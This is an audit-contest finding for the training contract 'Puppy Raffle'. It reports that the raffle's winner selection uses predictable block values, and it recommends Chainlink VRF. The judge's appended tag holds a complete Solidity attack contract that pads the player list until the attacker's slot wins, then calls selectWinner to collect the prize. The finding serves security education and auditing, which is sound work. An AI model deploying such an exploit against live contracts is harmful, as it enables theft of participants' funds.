Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak Randomness in Winner Selection Enables Manipulation

sexretxt

Root + Impact

Description

Normal behavior:
The raffle selects a winner pseudo-randomly after participants have entered.
The randomness is expected to be unpredictable, fair, and resistant to manipulation so that no participant (or block producer) can influence the outcome.

Issue:
The winner selection relies on block-level variables such as block.timestamp and block.difficulty (or equivalents).
These values are not random and can be influenced or predicted by block producers (miners/validators) and sophisticated participants.

As a result, the randomness used to select the winner does not meet the security guarantees required for fair raffle mechanics.

// Root cause: insecure randomness source
uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.difficulty, players.length)
)
);
​
uint256 winnerIndex = random % players.length;

Risk

Likelihood:

  • Reason 1: Block producers can influence block.timestamp within an allowed range during block construction.

  • Reason 2: All randomness inputs are known or partially predictable before transaction inclusion.

Impact:

  • Impact 1: A miner/validator or colluding participant can bias the raffle outcome in their favor.

  • Impact 2: Raffle fairness and trust assumptions are violated, undermining protocol integrity.

Proof of Concept

This is a design-level exploit, not an atomic drain.

1. A validator observes pending raffle-finalization transactions.
​
2. The validator simulates different block timestamps within the allowed range.
​
3. If a favorable outcome is detected, the validator includes the transaction.
​
4. Otherwise, the transaction is delayed or reordered.

This allows selective outcome bias, even without direct fund theft.

Recommended Mitigation

Use a secure randomness source designed for adversarial environments.

Option 1 (Recommended)

Integrate a verifiable randomness oracle such as Chainlink VRF.

Option 2 (Minimal Improvement)

Use a commit–reveal scheme where participants commit entropy before revealing it later (still weaker than VRF).

- uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)));
+ uint256 random = uint256(keccak256(abi.encodePacked(vrfRandomValue)));
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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